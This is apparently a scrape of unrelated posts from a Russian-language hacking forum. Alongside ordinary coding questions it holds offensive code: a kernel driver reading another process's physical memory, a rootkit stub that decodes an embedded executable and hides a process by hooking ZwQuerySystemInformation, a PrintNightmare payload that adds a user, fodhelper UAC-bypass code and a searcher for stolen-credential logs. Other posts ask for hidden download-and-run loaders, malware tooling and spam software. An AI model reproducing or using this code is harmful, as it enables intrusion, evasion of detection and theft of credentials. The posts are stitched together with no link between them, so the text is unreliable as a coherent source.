if (!process_base) return STATUS_UNSUCCESSFUL;
ObDereferenceObject(process);
uintptr_t physical_address = translate_linear(process_base, (uintptr_t)address);
if (!physical_address) return STATUS_UNSUCCESSFUL;
uintptr_t final_size = min(PAGE_SIZE - (physical_address & 0xFFF), bitetoread);
buffer = Read_Physical_memory((PVOID)physical_address, NULL, final_size);
return STATUS_SUCCESS;
}
uintptr_t get_process_cr8(PEPROCESS pprocess)
{
if (!pprocess) return 0;
uintptr_t process_dirbase = *(uintptr_t*)((UINT8*)pprocess + 0x28);
if (process_dirbase == 0)
{
ULONG user_diroffset = get_winver();
process_dirbase = *(uintptr_t*)((UINT8*)pprocess + user_diroffset);
}
if ((process_dirbase >> 0x38) == 0x40)
{
if (!already_attached) //find a way to reset this
{
KAPC_STATE apc_state;
KeStackAttachProcess(pprocess, &apc_state);
saved_dirbase = __readcr8();
KeUnstackDetachProcess(&apc_state);
already_attached = TRUE;
}
if (saved_dirbase) return saved_dirbase;
}
return process_dirbase;
}
uintptr_t translate_linear(uintptr_t directory_table_base, uintptr_t virtual_address)
{
directory_table_base &= ~0xf;
uintptr_t pageoffset = virtual_address & ~(~0ul << page_offset_size);
uintptr_t pte = ((virtual_address >> 12) & (0x1ffll));
uintptr_t pt = ((virtual_address >> 21) & (0x1ffll));
uintptr_t pd = ((virtual_address >> 30) & (0x1ffll));
uintptr_t pdp = ((virtual_address >> 39) & (0x1ffll));
SIZE_T readsize = 0;
uintptr_t pdpe = 0;
pdpe = Read_Physical_memory((PVOID)(directory_table_base + 8 * pdp), &pdpe, sizeof(pdpe));
if (~pdpe & 1) return 0;
uintptr_t pde = 0;
pde = Read_Physical_memory((PVOID)((pdpe & pmask) + 8 * pd), &pde, sizeof(pde));
if (~pde & 1) return 0;
if (pde & 0x80) return (pde & (~0ull << 42 >> 12)) + (virtual_address & ~(~0ull << 30));
uintptr_t ptraddr = 0;
ptraddr = Read_Physical_memory((PVOID)((pde & pmask) + 8 * pt), &ptraddr, sizeof(ptraddr));
if (~ptraddr & 1) return 0;
if (ptraddr & 0x80) return (ptraddr & pmask) + (virtual_address & ~(~0ull << 21));
virtual_address = 0;
virtual_address = Read_Physical_memory((PVOID)((ptraddr & pmask) + 8 * pte), &virtual_address, sizeof(virtual_address));
virtual_address &= pmask;
if (!virtual_address) return 0;
return virtual_address + pageoffset;
}
uintptr_t Read_Physical_memory(uintptr_t Address, PVOID buffer, SIZE_T bitetoread)
{
PVOID Pool = ExAllocatePoolWithTag(NonPagedPool, bitetoread, 'Tag1');
if (Pool == NULL) return;
else
{
PHYSICAL_ADDRESS ad;
ad.QuadPart = Address;
PVOID MemoryMap = MmMapIoSpaceEx(ad, bitetoread, PAGE_READONLY);
if (MemoryMap == NULL) return;
else
{
MM_COPY_ADDRESS copyaddress;
copyaddress.VirtualAddress = MemoryMap;
SIZE_T counter;
MmCopyMemory(Pool, copyaddress, bitetoread, MM_COPY_MEMORY_VIRTUAL, &counter);
DbgPrint("Value of counter: %p\n", counter);
for (int i = 0; i < bitetoread; i++) {
DbgPrint("%02X ", ((PUCHAR)Pool)[i]);
}
MmUnmapIoSpace(MemoryMap, bitetoread);
return *(PULONG)Pool;
ExFreePoolWithTag(Pool, 'Tag1');
}
}
}
где здесь может быть ошибка ?
Когда-то давно натыкался на видос, где аверовский "дятел" вскрывал протектор для дотнет исполняемых файлов, который загружал дотнет модули. Внимание, очень важный момент, именно модули (Module), а не сборки (Assembly). Сборка (PE-файл по сути) может иметь несколько модулей внутри. Насколько я помню, он (аверовский дятел) вытаскивал дотнет модуль (который, насколько я понимаю, является блобом метаданных без PE-обвязки), херачил его в свое консольное приложение, а потом уже загружал в dnSpy для дальнейшего реверса.
Так вот, хотел посмотреть эту тему и, может, подумать с ней чего интересного, но чего-то не получается нагуглить ни исходного видоса, ни того, как грузятся в память и извлекаются из сборок модули. Может кто из вас натыкался на такую вещь? Сорсы, статьи и семплы по теме, будьте любезны. Спасибо!
Ну и да, если видели что-то интересное в дотнет упаковщиках или протекторах (но, конечно, не тех, которые "крипт по тому, что это качественно"), то тоже скидывайте, интересно посмотреть.
Бен Клеменс. Язык С в XXI веке.
Данный класс позволяет изменять ползунок громкости микшера Windows, не
используя посторонних библиотек.
Работает начиная с Windows 7.
C#:Copy to clipboard
namespace VolumeMixer
{
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
[Description("Класс для изменения микшера громкости windows")]
public class AudioEndpoint
{
[ComImport]
[Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")]
internal class MMDeviceEnumerator { }
[Flags]
internal enum EDataFlow
{
eRender,
eCapture,
eAll,
EDataFlow_enum_count
}
[Flags]
internal enum ERole
{
eConsole,
eMultimedia,
eCommunications,
ERole_enum_count
}
[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IMMDeviceEnumerator
{
int NotImpl1();
[PreserveSig]
int GetDefaultAudioEndpoint(EDataFlow dataFlow, ERole role, out IMMDevice ppDevice);
}
[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IMMDevice
{
[PreserveSig]
int Activate(ref Guid iid, int dwClsCtx, IntPtr pActivationParams, [MarshalAs(UnmanagedType.IUnknown)] out object ppInterface);
}
[Guid("657804FA-D6AD-4496-8A60-352752AF4F89"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IAudioEndpointVolumeCallback
{
int OnNotify(IntPtr pNotifyData);
};
[Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IAudioEndpointVolume
{
int RegisterControlChangeNotify(IAudioEndpointVolumeCallback pNotify);
int UnregisterControlChangeNotify(IAudioEndpointVolumeCallback pNotify);
int GetChannelCount(out int pnChannelCount);
int SetMasterVolumeLevel(float fLevelDB, Guid pguidEventContext);
int SetMasterVolumeLevelScalar(float fLevel, Guid pguidEventContext);
int GetMasterVolumeLevel(out float pfLevelDB);
int GetMasterVolumeLevelScalar(out float pfLevel);
int SetChannelVolumeLevel(uint nChannel, float fLevelDB, Guid pguidEventContext);
int SetChannelVolumeLevelScalar(uint nChannel, float fLevel, Guid pguidEventContext);
int GetChannelVolumeLevel(uint nChannel, out float pfLevelDB);
int GetChannelVolumeLevelScalar(uint nChannel, out float pfLevel);
int SetMute([MarshalAs(UnmanagedType.Bool)] Boolean bMute, Guid pguidEventContext);
int GetMute(out bool pbMute);
int GetVolumeStepInfo(out uint pnStep, out uint pnStepCount);
int VolumeStepUp(Guid pguidEventContext);
int VolumeStepDown(Guid pguidEventContext);
int QueryHardwareSupport(out uint pdwHardwareSupportMask);
int GetVolumeRange(out float pflVolumeMindB, out float pflVolumeMaxdB, out float pflVolumeIncrementdB);
}
/// <summary>
/// <c>Метод для изменения громкости звука windows <br>(Работает, начиная с Windows 7)</br></c>
/// <b><br>Значение : Уровень громкости</br></b>
/// <br>(0f) : 0%</br>
/// <br>(0.10f) : 10%</br>
/// <br>(0.50f) : 50%</br>
/// <br>(0.90f) : 90%</br>
/// <br>(1f) : 100%</br>
/// <b><br>Пример использования:</br></b>
/// <br>var audio = new AudioEndpoint();</br>
/// <br>audio.Inizialize(1f);</br>
/// </summary>
/// <param name="level"></param>
public void Inizialize(float level)
{
var deviceEnumerator = (IMMDeviceEnumerator)new MMDeviceEnumerator();
IMMDevice speakers = null;
IAudioEndpointVolume vol = null;
try
{
deviceEnumerator.GetDefaultAudioEndpoint(EDataFlow.eRender, ERole.eMultimedia, out speakers);
Guid IID_IAudioEndpointVolume = typeof(IAudioEndpointVolume).GUID;
speakers.Activate(ref IID_IAudioEndpointVolume, 0, IntPtr.Zero, out object o);
vol = (IAudioEndpointVolume)o;
vol.SetMasterVolumeLevelScalar(level, Guid.Empty);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
// System.IO.File.WriteAllText("VolumeError.txt", $"{ex.Message}{Environment.NewLine}");
}
if (vol != null) Marshal.ReleaseComObject(vol);
if (speakers != null) Marshal.ReleaseComObject(speakers);
if (deviceEnumerator != null) Marshal.ReleaseComObject(deviceEnumerator);
}
}
}
Используется просто:
C#:Copy to clipboard
var audio = new AudioEndpoint();
audio.Inizialize(1f); // (1f) - уровень громкости
С помощью какой API можно вызвать обработчики из FastIoDispatch на примере
драйвера afd.sys?
Кусок листинга из DriverEntry.
C:Copy to clipboard
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = AfdDispatchDeviceControl;
DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = AfdWskDispatchInternalDeviceControl;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = AfdEtwDispatch;
DriverObject->FastIoDispatch = &AfdFastIoDispatch;
DriverObject->DriverUnload = AfdUnload
Если с вызовами обработчиков из массива MajorFunction все понятно и документировано, то примеров клиентов с вызовом FastIo я не нашел ни в репозитории семплов [драйверов](https://github.com/microsoft/Windows-driver- samples), ни в книге Walter Oney "Programming the Microsoft Windows Driver Model".
Утиилиты с помощью которых можно создавать дизайн для программ на C++
Какие есть варианты где можно самим проектировать дизайн и встраивать в
проект, подвзять к кнопкам код и т.д
нужно для C++
Вот типо аналогов как на C# win form
Крч в пьяном
угаре, щелкая
еблом решил написать мразь которая будет в МОЙ ЛЮБИМЫЙ dwm bar высерать
инфу.
Я конечно не Quake3, но вывести в консоль "Привет мир!" На Си как занехуй
захуй могу.
И вот тут такая чешуя. Так как у меня ноут GTX 35 serail OG, мне пздц важно
знать сколько моя малыха прослужит и служит ли она сейчас вообще, для этого
нужно узнать сколько в дуре % заряда. По итогу написав код, который ничем не
уступает коду человека который 2 дня учит Си. Я принялся тестить. И ебать вы
бы знали мое удивление когда эта параша заработала, да мало того что эта дура
выводит текст как макака в клетке, так это она нахуй еще память высикивает
захуяли? Открыв всеми известный дебагер htop я обнаружил что слякать моя, за 3
минуты работы набрала в массе до 5мб, а начинала с 1.5. От такого расклада у
меня кепка слетела, и я начал искать ошибку - нихуя я не нашел, скорее всего
ошибка в ядре линукса и это очевидно. Один х#й хочу к вам обратится за
помощью. с шансом в 0.3% вы не найдете в моем коде ошибки, но всеже !!!палю
исходники!!!(~~GNU~~~~General Public License~~):
C:Copy to clipboard
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>
#define BAT1_DIR "/sys/class/power_supply/BAT1/capacity"
#define ADP1_DIR "/sys/class/power_supply/ADP1/online"
struct battery_data {
FILE * fp;
int BAT1, ADP1;
char format_battery[16];
};
void battery_status(struct battery_data * battery) {
battery->fp = fopen(BAT1_DIR, "r");
fscanf(battery->fp, "%d", &battery->BAT1);
battery->fp = fopen(ADP1_DIR, "r");
fscanf(battery->fp, "%d", &battery->ADP1);
snprintf(battery->format_battery, 16, battery->ADP1 == 0 ? "▼ %d%" : battery->ADP1 == 1 ? "▲ %d%" : "%d%", battery->BAT1);
fclose(battery->fp);
}
int main (int argc, char *argv[])
{
struct battery_data battery;
FILE * fp;
char command[64];
while (1) {
battery_status(&battery);
snprintf(command, 64, "xsetroot -name \"| %s |\"", battery.format_battery);
fp = popen(command, "r");
sleep(1);
pclose(fp);
}
return 0;
}
А ну и вот, чуть не забыл, я решил на башке (так специалисты называют язык
BASH) переписать прогу сишную мою крутую где 0 ошибок, и в итоге на башке все
отлично воркало, и никуда нахуй даже намека небыло на просер памяти, башка
воркала мин 10 и как жрала 1.5мб так и жрет
1.5мб
А так всех с новым годом, найдите у меня в коде ошибку и я вам пришлю голову
деда мороза на новый
год!
Доброго времени суток
Посоветуйте как правильно работать с архивами формата zip и tar.gz в контексте
написания малвари
Хочу подкорректировать свое представление
довольно банальный и риторический вопрос, то есть, в целом начинать надо с
поиска подходящих библиотек? это движение в правильном направлении?
мне ИИ советовал minizip, libtar и тд
что бы просто создать/извлечь архив + работа с паролями
интересно развить навык программирования
Нужен счётчик нажатий на кнопку счёт которого не будет сбрасываться при перезаходе в приложение и данные которого будут храниться на файле в компьютере
Hello everyone. Please I need help on how to perform runtime encryption- decryption for strings such as functions e.tc in C#
Эй, братья,
У меня есть исполняемый файл. кто-нибудь может расшифровать и сказать мне, что
он делает?
Я поделюсь файлом через telegram, если это будет разрешено.
Если здесь разрешено вложение исполняемого файла. Я могу заархивировать и
поделиться.
Спасибо
KaynLdr is a Reflective Loader written in C / ASM. It uses direct syscalls to allocate virtual memory as RW and changes it to RX. It erases the DOS and NT Headers to make it look less suspicious in memory.
in C/ASM ](https://github.com/Cracked5pider/KaynLdr)
KaynLdr is a Reflective Loader written in C/ASM. Contribute to Cracked5pider/KaynLdr development by creating an account on GitHub.
github.com
Чему вы научитесь
Начать применять Selenium WebDriver для автоматизации тестирования веб
проектов.
Находить элементы на веб странице и производить любые действия над ними.
Писать более сложные методы, имитирующие действия пользователей.
Использовать язык XPath для нахождения любых веб элементов.
Начать карьеру специалиста по автоматизации тестирования.
Использовать язык программирования Java для написания авто тестов.
Внедрить фреймворк JUnit в процесс автоматизации тестирования.
Применять на практике Page Object паттерн.
Запускать авто тесты на различных браузерах.
Требования
Опыт программирования не обязателен, в курсе выделен отдельный раздел для
обучения основам программирования на Java, достаточных для быстрого старта в
освоении Selenium WebDriver.
Обзор с установкой всех необходимых инструментов будет рассмотрен во время
курса.
Компьютер с операционной системой Windows, MacOS или Linux. В курсе работа
демонстрируется в Windows 10, однако вся работа аналогична на остальных
системах.
Знание теории тестирования ПО необязательно.
Главное требование - иметь желание обретать новые навыки и применять их на
практике!
Описание
Данный курс предоставляет возможность изучить самый популярный и мощный
инструмент для автоматизации тестирования веб проектов - Selenium WebDriver!
Во время курса слушатели пройдут путь от знакомства с проектом Selenium и
установки необходимых инструментов до создания собственного проекта и освоения
всех основных возможностей Selenium WebDriver.
В курсе имеется раздел, посвященный изучению языка программирования Java. В
нем рассмотрены основные типы данных и операции над ними, циклы, условия,
работа с классами и объектами, принципы ООП. Слушатели смогут освоить навыки
программирования, необходимые для использования Selenium WebDriver
Во время курса вы научитесь использовать Selenium WebDriver для автоматизации
тестирования, освоите популярный и удобный фреймворк JUnit, поймете назначение
паттерна Page Object, научитесь использовать язык XPath для работы с веб
элементами и поддерживать собственный проект, используя язык программирования
Java!
Курс не перегружен теоретической информацией и сложной терминологией. Наша
задача - помочь вам получить быстрый и легкий старт в мир автоматизации!
Все лекции сопровождаются обучающими видео, демонстрирующими применение всех
навыков на практике!
Если вы начинающий специалист, инженер по ручному тестированию, желающий
расширить свои навыки, сотрудник, желающий внедрить автоматизацию в процесс
тестирования в своей компании, студент, человек, ищущий свой путь или вы
просто любите изучать все новое - этот курс для вас!
Делайте вклад в саморазвитие и дивиденды не заставят себя ждать!
Успехов, дорогие слушатели!
Для кого этот курс:
Начинающие специалисты.
Специалисты по ручному тестированию, желающие расширить свои возможности.
Люди, решившие сменить профессиональную деятельность.
[Исходник](https://www.udemy.com/course/selenium-webdriver-and-java-for-
beginners/?35b7e078=)
Скачать
Hello mates
[LIKES = 2] https://mega.nz/folder/o3IkgQZC#2tMHSJS-VNz5YGU3XbCZ_A [/ LIKES]
LIKES AND THANKS
?
Как на языке программирования c++ , Сделать скачку файла. и его
дальнейший запуск (Скрытно)
В простонародие Loader DLL
Всем доброго дня, я нахожусь в поиске подходящего мне языка программирование для написания различных скриптов, чекеров, парсеров, троянов итд. Общим словом много функционального языка для написания софта. Я + - знаю основы языка Java, но я так понял, что этот язык не подходит моим нуждам так сказать. Подскажите пожалуйста кто разбирается в этом вопросе, я уверен тут найдутся знающие люди.
Наткнулся на забавный проект на гитхабе:
https://github.com/LloydLabs/dearg-thread-ipc-stealth
Жаль работает только на десятках.
Open Sourcing.
Can be integrated to your own packer.
Download:
You must have at least 20 reaction(s) to view the content.
Короче говоря, начал изучать данную тему и пришел к небольшому наблюдению. При написании и эксплуатации RunPE в C#, за счет работы сразу же под дотнетом у нас выходит поддержка как Нативных, так .NET файлов. В плюсах(чисто WinAPI) данной возможности не будет. Подскажите, что нужно для этого делать, чтобы появилась возможность работы и с .net. В какую сторону копать, чтобы вышло без подключения /clr /cls? Где-то читал, что нужно восстанавливать таблицу импортов под это дело или это вообще бред?
Кстати хотел добавить, что при использовании donut(возможно слышали про этот софт с гитхаба, который позволяет любой бинарь преобразовать в шеллкод), и последующем запуске шела на плюсах, запустить можно и натив, и дотнет. Объясните плс как это работает, ведь и там, и там работа происходит из под натива.
hello, how do i compile my C program for all windows versions in visual studio 2019? From windows 10 to XP, etc
Обзорный видос с недавнего пхдейза с базовой инфой про эти ваши комы/дкомы, рекомендуется к просмотру одному цэшнику, который давно хотел погрузиться в чуждые ему оопшные комовские концепции (ну вы понимаете):
Не нашел в сети исходники, которые прямо или косвенно решали бы мою задачу. Есть ссылки? Спасибо.
Как защитить ?
Hello, i made a log searcher in python a while ago [https://xss.is/threads/80528/](http://Python log searcher), but python was slow as shit for such job, so i remade it in c++
C++:Copy to clipboard
#include <iostream>
#include <fstream>
#include <unordered_map>
#include <filesystem>
#include <regex>
#include <system_error>
#include <future>
#include <thread>
#include <vector>
using namespace std;
namespace fs = filesystem;
bool VerboseEnabled = false;
void processLogsAsync(const vector<string>& keywords, const string& sourceDirectory, const string& destinationDirectory, promise<void>&& promise) {
unordered_map<string, ofstream> keywordFiles;
unordered_map<string, int> keywordCount;
fs::create_directories(destinationDirectory);
for (const auto& keyword : keywords) {
string existingFile = destinationDirectory + "/" + keyword + ".txt";
if (fs::exists(existingFile)) {
fs::remove(existingFile);
}
}
error_code ec;
for (auto it = fs::recursive_directory_iterator(sourceDirectory, ec); it != fs::recursive_directory_iterator(); it.increment(ec)) {
if (ec) {
if (VerboseEnabled) cerr << "Error" /*accessing: " << sourceDirectory*/ << ": " << ec.message() << "\n";
ec.clear();
continue;
}
const auto& entry = *it;
if (entry.is_regular_file() && entry.path().extension() == ".txt") {
string filename = entry.path().filename().string();
regex pattern("password", regex_constants::icase);
if (regex_search(filename, pattern)) {
ifstream file(entry.path(), ios::binary);
if (!file) {
if (VerboseEnabled) cerr << "Error opening file " << entry.path() << "\n";
continue;
}
string line;
while (getline(file, line)) {
for (const auto& keyword : keywords) {
if (line.find(keyword) != string::npos) {
if (keywordFiles.find(keyword) == keywordFiles.end()) {
string outputFile = destinationDirectory + "/" + keyword + ".txt";
keywordFiles[keyword] = ofstream(outputFile, ios::app);
keywordCount[keyword] = 0;
}
keywordFiles[keyword] << line << endl;
keywordCount[keyword]++;
for (int i = 0; i < 2 && getline(file, line); ++i) {
keywordFiles[keyword] << line << endl;
}
keywordFiles[keyword] << endl;
}
}
}
}
}
}
for (auto& [keyword, file] : keywordFiles) {
file.close();
}
for (const auto& pair : keywords) {
if (keywordCount.find(pair) != keywordCount.end()) {
cout << "Found " << keywordCount[pair] << " credentials for " << pair << " in " << destinationDirectory << "/" << pair << ".txt" << endl;
} else {
cout << "No credentials found for " << pair << endl;
}
}
promise.set_value();
}
void processLogs(const vector<string>& keywords, const string& sourceDirectory, const string& destinationDirectory) {
const unsigned int numThreads = thread::hardware_concurrency();
vector<future<void>> futures;
// Split the keywords into smaller chunks for multithreading
const size_t chunkSize = (keywords.size() + numThreads - 1) / numThreads;
for (size_t i = 0; i < keywords.size(); i += chunkSize) {
const size_t end = min(i + chunkSize, keywords.size());
vector<string> chunk(keywords.begin() + i, keywords.begin() + end);
promise<void> promise;
future<void> future = promise.get_future();
futures.push_back(move(future));
thread thread(processLogsAsync, chunk, sourceDirectory, destinationDirectory, move(promise));
thread.detach();
}
// Wait for all threads to finish
for (auto& future : futures) {
future.get();
}
}
// Function to split keywords arguments (netflix.com,paypal.com)
vector<string> split(const string& s, char delimiter) {
vector<string> tokens;
string token;
istringstream tokenStream(s);
while (getline(tokenStream, token, delimiter)) {
tokens.push_back(token);
}
return tokens;
}
int main(int argc, char* argv[]) {
if (argc < 2 || string(argv[1]) == "-h" || string(argv[1]) == "--help") {
cout << "Usage: " << argv[0] << " -k \"netflix.com,paypal.com\" -l Logs -o Results" << endl;
cout << " -h, --help Display this help message." << endl;
cout << " -k <Keywords> Comma-separated list of keywords to search for." << endl;
cout << " -l <Logs> Directory containing logs files." << endl;
cout << " -o <destination> (Optional) Directory to store search results. Default: 'Results'" << endl;
cout << " -v <verbose> (Optional) Turn on verbose If set." << endl;
cout << endl;
return 1;
}
vector<string> keywords;
string sourceDirectory;
string destinationDirectory;
for (int i = 1; i < argc; ++i) {
string arg(argv[i]);
//TODO: Read keywords from file
if (arg == "-k") {
if (i + 1 < argc) {
keywords = split(argv[++i], ',');
} else {
cerr << "Error: Missing keywords after -k flag." << endl;
return 1;
}
}
else if (arg == "-l") {
if (i + 1 < argc) {
sourceDirectory = argv[++i];
} else {
cerr << "Error: Missing source directory after -l flag." << endl;
return 1;
}
}
else if (arg == "-o") {
if (i + 1 < argc) {
destinationDirectory = argv[++i];
} else {
cerr << "Error: Missing destination directory after -o flag." << endl;
return 1;
}
}
else if (arg == "-v") {
cout << "Verbose Mode Enabled" << endl;
bool* verbosePtr = &VerboseEnabled;
*verbosePtr = true;
}
else {
cerr << "Error: Unknown argument: " << arg << endl;
return 1;
}
}
if (destinationDirectory.empty()) {
destinationDirectory = "Results";
}
processLogs(keywords, sourceDirectory, destinationDirectory);
return 0;
}
Compile: download a compiler and
run
g++ log_searcher.cpp -o log_searcher.exe -lstdc++fs -std=c++17
Time: Searched a 10gb logs folder in ~1 minute on an old pc
Note: under linux systems it gives the error:
https://stackoverflow.com/questions/73479857/ mid search and
exit due to underlying OS API
Нужен разработчик, для софта под спам/массовую рассылку, на такой площадке как Reddit, требуется полноценный софт который позволит спамить через куки/другое проливать во все каналы на которые подписаны наши аккаунты.
The micro dependencies are a pain. crABI should make it convenient to build
shared libs.
Will it ever come to reality?
I asked the same question on a couple of other boards, and all I heard was
silence.
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F34b3775eeb6834199af40fe3683717aeafc46f72e1ccd5fd23682b54c23e9e57%2Frust- lang%2Frfcs%2Fpull%2F3470&hash=fe73132af4daf6313ba18644a5409b4a&return_error=1)
](https://github.com/rust-lang/rfcs/pull/3470)
Note that the most eminently bikesheddable portion of this proposal is the handling of niches, and the crABI Option and Result types built around that. There are multiple open questions specificall...
github.com
C:Copy to clipboard
#include <ntddk.h>
#include <ntstrsafe.h>
// Define the function prototype for ZwQuerySystemInformation
typedef NTSTATUS (NTAPI *ZwQuerySystemInformation_t)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
// Original system function to query system information
ZwQuerySystemInformation_t OriginalZwQuerySystemInformation = NULL;
// Base64 string of the executable (you would replace this with your actual base64 string)
const char* base64ExeString = "YOUR_BASE64_STRING_HERE";
// Function to decode Base64 string
NTSTATUS Base64Decode(const char* base64, PVOID* outBuffer, PULONG outSize) {
ULONG length = 0;
UCHAR* decodedData = NULL;
NTSTATUS status = RtlDecodeBase64String(base64, &length, NULL);
if (NT_SUCCESS(status)) {
decodedData = (UCHAR*)ExAllocatePool(NonPagedPool, length);
if (decodedData) {
status = RtlDecodeBase64String(base64, &length, decodedData);
if (NT_SUCCESS(status)) {
*outBuffer = decodedData;
*outSize = length;
} else {
ExFreePool(decodedData);
}
} else {
status = STATUS_INSUFFICIENT_RESOURCES;
}
}
return status;
}
// Function to load the decoded executable into memory
NTSTATUS LoadExeFromMemory(PVOID buffer, ULONG size) {
// In a real-world scenario, you would use functions like
// ZwCreateSection, ZwMapViewOfSection, and ZwCreateProcess
// to execute the code directly from memory. This part is left
// abstract as it involves complex kernel-mode operations.
DbgPrint("Loaded executable into memory with size: %d\n", size);
return STATUS_SUCCESS;
}
// Hooked ZwQuerySystemInformation to hide the process
NTSTATUS NTAPI HookedZwQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
) {
NTSTATUS status = OriginalZwQuerySystemInformation(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength
);
if (status == STATUS_SUCCESS) {
SYSTEM_PROCESS_INFORMATION* info = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
// Iterate through processes and hide the target process (e.g., "hidden_process.exe")
while (info->NextEntryOffset) {
if (wcscmp(info->ImageName.Buffer, L"hidden_process.exe") == 0) {
// Skip this process, effectively hiding it
info->NextEntryOffset = 0;
}
info = (SYSTEM_PROCESS_INFORMATION*)((PUCHAR)info + info->NextEntryOffset);
}
}
return status;
}
// Driver unload function
void DriverUnload(PDRIVER_OBJECT pDriverObject) {
// Restore the original system call
if (OriginalZwQuerySystemInformation) {
InterlockedExchangePointer(
(PVOID*)&ZwQuerySystemInformation,
(PVOID)OriginalZwQuerySystemInformation
);
}
DbgPrint("Driver unloaded\n");
}
// Driver entry function
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) {
PVOID exeBuffer = NULL;
ULONG exeSize = 0;
NTSTATUS status = Base64Decode(base64ExeString, &exeBuffer, &exeSize);
if (NT_SUCCESS(status)) {
DbgPrint("Base64 decoded successfully. Size: %d bytes\n", exeSize);
// Load and execute the decoded executable in memory
status = LoadExeFromMemory(exeBuffer, exeSize);
if (!NT_SUCCESS(status)) {
DbgPrint("Failed to load executable from memory.\n");
}
} else {
DbgPrint("Base64 decoding failed. Status: 0x%x\n", status);
}
// Hook the system call for process listing (ZwQuerySystemInformation)
OriginalZwQuerySystemInformation = (ZwQuerySystemInformation_t)ZwQuerySystemInformation;
ZwQuerySystemInformation = HookedZwQuerySystemInformation;
pDriverObject->DriverUnload = DriverUnload;
DbgPrint("Driver loaded\n");
return STATUS_SUCCESS;
}
This code is a Windows Kernel-mode driver that attempts to implement two primary functionalities:
Let’s break it down step by step:
The function Base64Decode handles the decoding of the Base64 string:
Use Case : The Base64 string (base64ExeString) is expected to represent the binary data of an executable file. The decoded data will later be used for execution.
The LoadExeFromMemory function:
Note : Loading and running executables from kernel mode is highly risky and can lead to system instability or security vulnerabilities.
The function HookedZwQuerySystemInformation intercepts calls to ZwQuerySystemInformation:
Effect : This effectively "hides" the process from tools like Task Manager or other process enumerators that rely on ZwQuerySystemInformation.
Driver Entry (DriverEntry) :
Driver Unload (DriverUnload) :
На досуге перечитывал паблик CVE-2021-1675,а именно PrintNightmare:
https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527, и стало интересно
в рамках обучения winAPI и плюсов под винду, что же там за .dll на добавления
юзера (кто не в курсе, подсовывается вредоносной DLL для того чтобы
добавить юзера), причем сурсов на эту .dll ни где нету, по итогу решил
попробовать разобраться сам.
Идея была такая:
1)на плюсах написать PE для добавления юзера
2)далее с помощью скрипта питона поменять хедеры, чтобы PE замаскировался под
.dll
Код такой:
C++:Copy to clipboard
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#include <iostream>
LPWSTR ConvertToLPWSTR(const std::string& s)
{
LPWSTR ws = new wchar_t[s.size() + 1];
copy(s.begin(), s.end(), ws);
ws[s.size()] = 0;
return ws;
}
void AddRDPUser()
{
std::string s = "testUSER";
LPWSTR nameLP = ConvertToLPWSTR(s);
std::string a = "testUser123";
LPWSTR passLP = ConvertToLPWSTR(a);
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
ui.usri1_name = nameLP;
ui.usri1_password = passLP;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);
}
int main()
{
AddRDPUser();
}
Вообщем-то PE работает, от админа добавляет юзера, но .dll не реагирует,
Поэтому интересно, есть ли сурцы дефолтной .dll которую юзают все с
PrintNightmare?
Если нет, то как сделать так так чтобы .dll или PE запускались по дефолту от
админа?
Собственно всем привет, уважаемые! Реализую самый заезженный способ байпасса юак через fodhelper.exe на сишечке, но проблема заключается в том, что как бы я не пытался запустить fodhelper из под x32, софтина не видит его, хоть убей. Пробовал через CreateProcess, ShellExecuteEx, даже через гребанный system(путь до fodhelper), ничего не помогло. В х64 все прекрасно работает. Не понимаю в какую сторону копать, чтобы понять почему такая проблема возникает именно на x32. Если запущу таким же образом условный calc.exe, то все отработает на ура.
C:Copy to clipboard
SHELLEXECUTEINFOW shellinfo;
shellinfo.lpVerb = L"open";
shellinfo.lpFile = L"C:\\Windows\\System32\\fodhelper.exe";
shellinfo.nShow = 0;
shellinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shellinfo.cbSize = sizeof(SHELLEXECUTEINFOW);
shellinfo.hwnd = 0;
shellinfo.lpParameters = 0;
shellinfo.lpDirectory = 0;
shellinfo.hInstApp = 0;
if (API(SHELL32, ShellExecuteExW)(&shellinfo))
{
wprintf(L"Created process sucessfully through shellexecute\n");
API(KERNEL32, ExitProcess)(0);
}
else
Exit(L"error while creating process");
Spoiler: ошибка
Всем привет, не давно решил начать писать малвари на c++, без использования crt, инфу о том как писать без crt не нашел, на поиски потратил ~5 часов, и отчаевшись прошу вас о помощи.
Что мне надо конкретно?
1. Чем можно заменять crt функции.
2. Где можно найти гайды/статьи.
3. С чего стоит начать?
4. Может какие либо сурсы с гитхаба для ознакомления, если таковы имеются.
Собственно сабж, как сделать поддержку экспорт функций в LoadPE?
P.S Криптую Делфи стаб
Оптимизация_программ_на_C++_Проверенные_методы_повышения_производительности.pdf
anonfiles.com
Есть строковая константа
C:Copy to clipboard
char* String = "string";
